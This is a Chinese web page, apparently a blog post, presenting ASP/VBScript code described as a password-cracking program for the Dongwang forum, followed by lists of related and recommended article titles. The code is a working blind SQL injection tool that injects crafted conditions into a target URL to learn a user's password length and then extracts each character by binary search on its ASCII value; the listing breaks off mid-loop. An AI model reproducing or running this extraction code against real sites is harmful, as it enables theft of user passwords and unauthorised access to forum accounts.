<% 

response.buffer=false 

'为防止程序陷入死循环,初始化一些最大重试值 

Dim MaxPassLen,MaxPassAsc 

MaxPassLen=20 'password最大长度 

MaxPassAsc=20

'==== 字符转换 

Function bytes2BSTR(vIn) 

strReturn = "" 

For j = 1 To LenB(vIn) 

ThisCharCode = AscB(MidB(vIn,j,1)) 

If ThisCharCode < &H80 Then 

strReturn = strReturn & Chr(ThisCharCode) 

Else 

NextCharCode = AscB(MidB(vIn,j+1,1)) 

strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 

j = j + 1 

End If 

Next 

bytes2BSTR = strReturn 

End Function 

' 以下是取网页内容 ========== 

Function GetUrl(Url) 

set oSend=createobject("Microsoft.XMLHTTP") 

SourceCode = oSend.open ("GET",url,false) 

oSend.send() 

SourceCode = bytes2BSTR(oSend.responseBody) 

GetUrl = SourceCode 

End Function 

'以下是推断返回页面效果 

Function ChkPage(SourceCode,SucKey,ErrKey) 

if Instr(SourceCode,SucKey) > 0 then 

ChkPage=true '页面返回成功 

exit function 

end if 

if Instr(SourceCode,ErrKey) > 0 then 

ChkPage=false '页面出错 

exit function 

end if 

ChkPage=false 'keyword信息不正确或者是页面未连接 

response.write("keyword信息不正确或者是页面未连接") 

response.end 

End Function

'開始破解 

'Dim url,username,password,SucKey,

Dim PassLenUrl 

Dim PassLen 

Dim ChkPassLen

If request("begin")<>"" then 

response.cookies("PassLen")=0 

url=request("url") 

username=request("username") 

password=request("password") 

SucKey=request("SucKey") 

ErrKey=request("ErrKey") 

response.write("第一步。破解password长度<BR>")

PassLen = 1 

ChkPassLen = false 

Do while not ChkPassLen 

PassLenUrl = Url & username & "'%20and%20len(" & password & ")=" & PassLen & "%20and%20'1'='1" 

response.write("当前測试password位数为“" & PassLen & "”。请稍等......<BR>") 

ChkPassLen = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey) 

If ChkPassLen Then 

response.write("成功。!!

password位数已经測试出来了。開始測试详细位数<BR>") 

exit do 

Else 

response.write("不行。继续下一位測试!<BR>") 

End If 

If PassLen > MaxPassLen then 

response.write( "password位数未能測试出,请确认是否有此用户或又一次调整password长度范围") 

response.end 

exit do 

End If 

PassLen = PassLen + 1 

Loop 

response.write ("<FONT COLOR=red>已经測试出password长度为" & PassLen & ",開始測试详细password值</FONT><BR><BR>") 

'循环每一位 

Dim Asc1,Asc2,Asc10,Asc20,Ascstr 

'Dim AscArr(PassLen) 

Dim ChkPass,Asctemp1,Asctemp,count 

Ascstr = ""

For i=1 to PassLen 

ChkPass = false 

Asc1 = 33 

Asc2 = 126 

response.write "開始破解第" & i & "位password<BR>" 

'用二分法取asc码范围 

count=1 

suc=false 

Do while not suc 

Asctemp1=Asctemp 

if (Asc2-Asc1) mod 2 = 1 then 

Asctemp=(Asc2-Asc1-1)/2 

else 

Asctemp=(Asc2-Asc1)/2 

end if

response.write "划定password范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>" 

PassLenUrl = Url & username & "'%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%20'1'='1" 

response.write "划定password范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>" 

ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey) 

if Asc1 = 33 and Asc2 = 126 and not ChkPass then 

response.write "password不在所设定ASC码范围内" 

%>

动网论坛password暴力破解程序代码的更多相关文章

  1. SMTP暴力破解

    这里实现一个SMTP的暴力破解程序,实验搭建的是postfix服务器,猜解用户名字典(user.txt)和密码字典(password.txt)中匹配的用户名密码对, 程序开发环境是: WinXP VC ...

  2. 暴力破解FTP服务器技术探讨与防范措施

    暴力破解FTP服务器技术探讨与防范措施 随着Internet的发展出现了由于大量傻瓜化黑客工具任何一种黑客攻击手段的门槛都降低了很多但是暴力破解法的工具制作都已经非常容易大家通常会认为暴力破解攻击只是 ...

  3. sshd服务---暴力破解应对策略

    sshd服务暴力破解步骤 sshd暴力破解方法 防止暴力破解调优 1. 变更默认端口 2. 变更root用户 3. 日志监控-->防止暴力破解(fail2ban应用) fail2ban详解 在初 ...

  4. 编写DVWA暴力破解High级别的Python脚本

    1. 过程(不查看源代码) 使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下: 首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证. 2. ...

  5. 2-3 sshd服务---暴力破解应对策略

      sshd服务暴力破解步骤 sshd暴力破解方法 防止暴力破解调优 1. 变更默认端口 2. 变更root用户 3. 日志监控-->防止暴力破解(fail2ban应用) fail2ban详解 ...

  6. RDP协议暴力破解

    真实案例|RDP协议暴力破解卷土重来! 作者:aqniu星期六, 七月 2, 20160   背景 RDP(Remote Desktop Protocol)称为“远程桌面登录协议”,即当某台计算机开启 ...

  7. 利用Teensy进行EM410x卡模拟以及暴力破解EM410X类门禁系统可行性猜想

    前些天Open入手了Teensy++2.0模拟EM410X,并且针对EM410X的门禁进行了一次暴力破解测试,以下就是相关代码以及内容. 什么是低频?什么是EM410x? 首先,我不得不再次提一下那些 ...

  8. 利用Teensy进行em410x卡模拟以及暴力破解em410x类门禁系统

    什么是低频?什么是EM410x? 首先,我不得不再次提一下那些工作在125khz频率下的低频卡(如:EM410X之类的),以便大家更好的阅读以下的内容. 什么是低频?以下就是低频的解释: 低频(LF, ...

  9. 用python暴力破解压缩文件并不是万能,至少这个场景我告诉你密码你用代码也破解不了

    看到论坛上各种贴子写用python进行暴力破解的文章,于是自己也想去尝试一下,不试不知道,一试吓一跳,真的就像那句有名的”python由入门到放弃“,把论坛上别人的脚本全部自己敲一遍,运行不报错,但也 ...

随机推荐

  1. [转] android自动化之MonkeyRunner测试环境配置(一)

    Android自动化测试之MonkeyRunner 一.Android自动化测试之环境搭建 1.1  Android-sdk介绍 ¢ SDK(Software development kit)软件开发 ...

  2. poj 2635 The Embarrassed Cryptographer(数论)

    题目:http://poj.org/problem?id=2635 高精度求模  同余模定理. 题意: 给定一个大数K,K是两个大素数的乘积的值.再给定一个int内的数L 问这两个大素数中最小的一个是 ...

  3. ASP.NET的六种验证控件的使用

    C# 中的验证控件分为一下六种 :1 CompareValidator:比较验证,两个字段的值是否相等,比如判断用户输入的密码和确认密码是否一致,则可以用改控件: 2 CustomValidator ...

  4. Java 简单登录MVC

    构建一个简单的基于MVC模式的JavaWeb 零晨三点半了,刚刚几个兄弟一起出去吼歌,才回来,这应该是我大学第二次去K歌,第一次是大一吧,之后每次兄弟喊我,我都不想去,因为我还是很害怕去KTV,或许是 ...

  5. file的getPath getAbsolutePath和getCanonicalPath的区别

    转自:http://www.blogjava.net/dreamstone/archive/2007/08/08/134968.html file的这几个取得path的方法各有不同,下边说说详细的区别 ...

  6. 【转】用Pthread创建线程的一个简单Demo

    一.我们直接在COCOS2D-X自带的HelloWorld工程中添加代码.首先将Pthread的文件包含进来包括lib文件.在HelloWorld.cpp中引入头文件和库. #include &quo ...

  7. EF Code First 学习笔记:约定配置

    要更改EF中的默认配置有两个方法,一个是用Data Annotations(在命名空间System.ComponentModel.DataAnnotations;),直接作用于类的属性上面;还有一个就 ...

  8. 在ASP.NET MVC中使用DropDownList

    在ASP.NET MVC中,尽管我们可以直接在页面中编写HTML控件,并绑定控件的属性,但更方便的办法还是使用HtmlHelper中的辅助方法.在View中,包含一个类型为HtmlHelper的属性H ...

  9. C++模拟键盘鼠标消息

    #include <Windows.h> /* * === FUNCTION ======================================================= ...

  10. Xcode中Info.plist文件各个键的作用说明【搜藏】

    Localiztion native development region --- CFBundleDevelopmentRegion 本地化相关,如果⽤户所在地没有相应的语言资源,则用这个key的v ...